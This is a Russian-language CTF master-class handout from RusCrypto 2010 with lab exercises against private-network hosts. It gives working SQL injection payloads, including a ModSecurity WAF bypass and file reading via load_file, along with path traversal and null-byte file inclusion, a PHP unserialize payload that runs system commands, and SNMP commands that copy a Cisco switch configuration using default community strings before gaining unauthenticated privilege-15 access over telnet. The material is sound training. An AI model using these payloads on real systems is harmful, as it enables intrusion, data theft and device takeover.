2. Мастер класс на основе инфраструктуры «РусКрипто CTF 2010» Ст раница 2 из 7
ОГЛАВЛЕНИЕ
1 ЗАДАНИЯ МАСТЕР КЛАССА ................................................................. 3
1.1 ПРАКТИЧЕСКОЕ ЗАНЯТИЕ ЧАСТЬ 1 3
1.2 ПРАКТИЧЕСКОЕ ЗАНЯТИЕ ЧАСТЬ 2 5
1.3 ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ 7
1.3.1 СС ЫЛКИ НА ДО ПО ЛНИТЕ ЛЬН ЫЕ МА ТЕРИА ЛЫ.......................................................... 7
3. Мастер класс на основе инфраструктуры «РусКрипто CTF 2010» Ст раница 3 из 7
1 Задания мастер класса
1.1 Практическое занятие, часть 1
Действие Описание
Примечание: Для выполнения заданий «Практическогозанятия 1» необходимо использовать браузер Mozilla Firefox с
установленнымдополнением«TamperData» (https://addons.mozilla.org/firefox/addon/966).
1. Обнаружить
уязвимость SQL
Injection
a. Откройте интерфейс http://192.168.0.1/
b. Укажите в качестве значений «пицца»и «скорость доставки» произвольные данные.
c. Путем перехвата данных средствами «TamperData» вкачестве значения «time»
укажите 1'
d. Вы должны увидеть следующее сообщение об ошибке:
Query failed:You have an error in your SQLsyntax
e. Стоит отметить,что уязвимость содержится вследующем SQL-запросе:
INSERTINTO pizza (pizza,time) VALUES (".$_POST['pizza'].",".$_POST['time'].")
2. Обойти
превентивные
защитные
механизмы (WAF)
a. В том же интерфейсе укажите вкачестве значения «time» 1 unionselect
b. Вы должны увидеть сообщение, свидетельствующее о блокировке запроса
превентивным защитныммеханизмом Mod_Security:
Method NotImplemented
c. Вернитесь на предыдущую страницуи воспользуйтесьметодомобхода правил
противодействия атаке «Внедрение операторов SQL» в Mod_Security.Для этого в
качестве значения «time» укажите:
/*!unionselect*/
/*!12345unionselect*/
d. Полученное сообщениеоб ошибке (…syntax to use near 'unionselect*/)'…)
свидетельствует о том,что существуетвозможность контролировать поступающие к
веб-приложениюзапросы,которые,всвою очередь,используются для генерации
SQL-запросов в обход политики безопасности Web ApplicationFirewall.
3. Воспользоваться
уязвимостью SQL
Injection для
получения «флага»
a. Для получения флага воспользуйтесьтехникой проведения атаки Error-based SQL
Injection:
select1 from(selectcount(*),concat(1,floor(rand(0)*2))x from pizza group by x)a
b. Обратите внимание,что вбольшинстве версий MySQLприведенный выше метод
позволяетполучить не больше 153 символовполезной нагрузки (и меньше!).
Поэтому для получения флага в данном случае можноиспользовать следующий
запрос:selectmid(load_file('/YOURFLAG.TXT'),451,32)
c. Таким образом,результирующий запрос для проведения атаки приметследующий
вид:
/*!12345(select1 from(selectcount(*),concat((select
mid(load_file('/YOURFLAG.TXT'),451,32)),floor(rand(0)*2))x from pizza group by
x)a)*/
4. Мастер класс на основе инфраструктуры «РусКрипто CTF 2010» Ст раница 4 из 7
Действие Описание
4. Воспользоваться
уязвимостью Local
File Including для
получения «флага»
a. Прежде чем перейти кэксплуатации уязвимости «LocalFile Including» авторизуйтесь
в интерфейсе http://192.168.0.1/admin.php
Имя пользователя:admin
Пароль:1234567
b. После успешной авторизации повторите запрос.При этом измените значение
Cookie[lang]на следующую строку:
non/../../../../../../etc/hosts
c. Вы должны увидеть следующее сообщение об ошибке:
Warning:include_once(non/../../../../../../etc/hosts.php)
Попробуйте заменить «hosts»на «passwd».
Попробуйте заменить «hosts»на «hosts%00».
d. Для того чтобы избавится отдобавляемогорасширения файла («.php»),
воспользуйтесь методом замены«ядовитого нуля»в PHP < v.5.3.3. Следующая
конструкция позволяетосуществить атаку:
non/../../../../../../YOURFLAG.TXT/./.[496]/./.
Попробуйте воспользоваться уязвимостью «Remote File Including» втом же
уязвимомпараметре.
Примечание: Следующее задание требуетперевода состояния виртуальной инфраструктурына уровень выше.Если
Вы закончили предыдущие задания раньше остальныхучастников,попробуйте воспользоваться уязвимостями типа
«XPath Injection» и «SQLInjection» на интерфейсеhttp://192.168.0.2. Для получения «флага»при эксплуатации
уязвимости «SQLInjection» воспользуйтесь функцией pg_read_file().«Флаг» содержится водном каталоге с СУБД.
5. Воспользоваться
уязвимостью при
вызове функции
unserialize()с целью
выполнения команд
ОС и для получения
«флага»
a. Прежде,чем перейти кэксплуатации уязвимости при вызове функцииunserialize(),
отключите автоматическое перенаправлениебраузера.
b. Откройте интерфейс http://192.168.0.1/admin.php. Уязвимость содержится в
параметре Cookie[sessid].Следующий запросвформате base64позволяетвыполнить
функцию phpinfo():
O:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:7:"phpinfo";i:1;s:2:"-1";}}
c. Приведенный запрос ниже в том же формате позволитвыполнить команду листинга
файлови каталогов в текущем каталоге веб-сервера:
O:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:6:"system";i:1;s:2:"ls";}}
d. Воспользуйтесь данной уязвимостью для чтения файла «/YOURFLAG.TXT».
Примечание: Интерфейс для перевода строки вформатbase64доступен по адресу http://192.168.0.1/base64.php
5. Мастер класс на основе инфраструктуры «РусКрипто CTF 2010» Ст раница 5 из 7
1.2 Практическое занятие, часть 2
Действие Описание
Примечание: Для выполнения заданий «Практическогозанятия 2» необходимо использовать ПО«net-snmp»
(http://www.net-snmp.org/download.html)и «Tftpd32» (http://tftpd32.jounin.net/).Опциональноможно использовать ПО
«nmap» (http://nmap.org/download.html).
1. Провести выгрузку
используемой
конфигурации через
протоколSNMP
a. Проверьте доступность коммутатора Cisco путем отправки запроса ICMPEcho-
Request:
ping 192.168.0.10
Для аналогичныхцелей можно воспользоваться сетевым сканером nmap:
nmap -sP -n 192.168.0.10
b. Вы должны увидеть, что коммутаторявляется доступным.
Кроме того,можно проверить доступность порта SNMP(161/udp)и использование
настроекпо умолчанию:
nmap -sU -n -p 161 192.168.0.10
snmpwalk -v 1 -c public 192.168.0.10 iso.3.6.1.2.1.1.1.0
snmpwalk -v 1 -c private 192.168.0.10 iso.3.6.1.2.1.1.1.0
c. Запустите сервер TFTPDи укажите используемый каталогдля принимаемых
файлов.
d. Используйте команду (используемый протокол):
snmpset -v 1 -c private 192.168.0.10
.1.3.6.1.4.1.9.9.96.1.1.1.1.2.<произвольное_число> integer 1
integer1 для протокола TFTP
integer2 для протокола FTP
integer3 для протокола RSCP
Строка «1.3.6.1.4.1.9.9.96.1.1.1.1.» является фиксированнымзначениемOIDиз
состава CISCO-CONFIG-COPY-MIB.
e. Используйте команду (файл-источник):
snmpset -v 1 -c private 192.168.0.10
.1.3.6.1.4.1.9.9.96.1.1.1.1.3.<используемое_произвольное_число> integer 4
integer1 копирование файла изсети
integer2 копирование любого неконфигурационного локального файла
integer3 копирование startup-config
integer4 копирование running-config
integer5 копирование терминального вывода
f. Используйте команду (файл-назначение):
snmpset -v 1 -c private 192.168.0.10.1.3.6.1.4.1.9.9.96.1.1.1.1.4.
.<используемое_произвольное_число> integer 1
Значения «integer»аналогичны предыдущемупункту.
6. Мастер класс на основе инфраструктуры «РусКрипто CTF 2010» Ст раница 6 из 7
Действие Описание
g. Используйте команду (указание адреса TFTP-сервера):
snmpset -v 1 -c private 192.168.0.10.1.3.6.1.4.1.9.9.96.1.1.1.1.5.
<используемое_произвольное_число> address <IP_адрес_вашего_компьютера>
h. Используйте команду (указание имени файла на стороне TFTP-сервера):
snmpset -v 1 -c private 192.168.0.10.1.3.6.1.4.1.9.9.96.1.1.1.1.6.
<используемое_произвольное_число> string config
i. Используйте команду (запустить процесс копирования):
snmpset -v 1 -c private 192.168.0.10.1.3.6.1.4.1.9.9.96.1.1.1.1.14.
<используемое_произвольное_число> integer 1
j. Используйте команду:
snmpwalk -v 1 -c private 192.168.0.10 .1.3.6.1.4.1.9.9.96.1.1.1.1.10.
<используемое_произвольное_число>
для того чтобы определить состояние процесса копирования,и команду:
snmpset -v 1 -c private 192.168.0.10.1.3.6.1.4.1.9.9.96.1.1.1.1.14.
<используемое_произвольное_число> integer 6
для того чтобы удалить созданную ячейку OID.
k. На этом этапе Вы должны получить файлс конфигурацией, используемой (running-
config)на коммутатореCisco.
2. Получить уровень
доступа privileges 15
a. Внимательно изучите полученнуюконфигурацию коммутатора Cisco.Обратите
внимание на следующие строчки:
...
aaa authentication login default local-case
aaa authentication login authennone
...
line vty 0 3
exec-timeout 0 0
line vty 4
exec-timeout 0 0
privilege level 15
login authenticationauthen
...
Подобная конфигурация устройства позволяетполучить уровень доступа privileges
15 безкакой-либо аутентификации.
b. Запустите несколько окон командной строки со следующим содержимым:
telnet192.168.0.10
c. Вы должны получить неавторизованный доступ кустройству Cisco.Проверить
полученные привилегии можно командой:
show privilege
7. Мастер класс на основе инфраструктуры «РусКрипто CTF 2010» Ст раница 7 из 7
1.3 Дополнительные материалы
1.3.1 Ссылки на дополнительные материалы
http://www.ptsecurity.ru/download/PT-Ruscrypto-CTF2010.pdf
http://devteev.blogspot.com/2010/04/2010-ctf-just4fun.html
http://www.ruscrypto.org/conference/ctf/
И в светлом будущем:
http://ctf.securitylab.ru/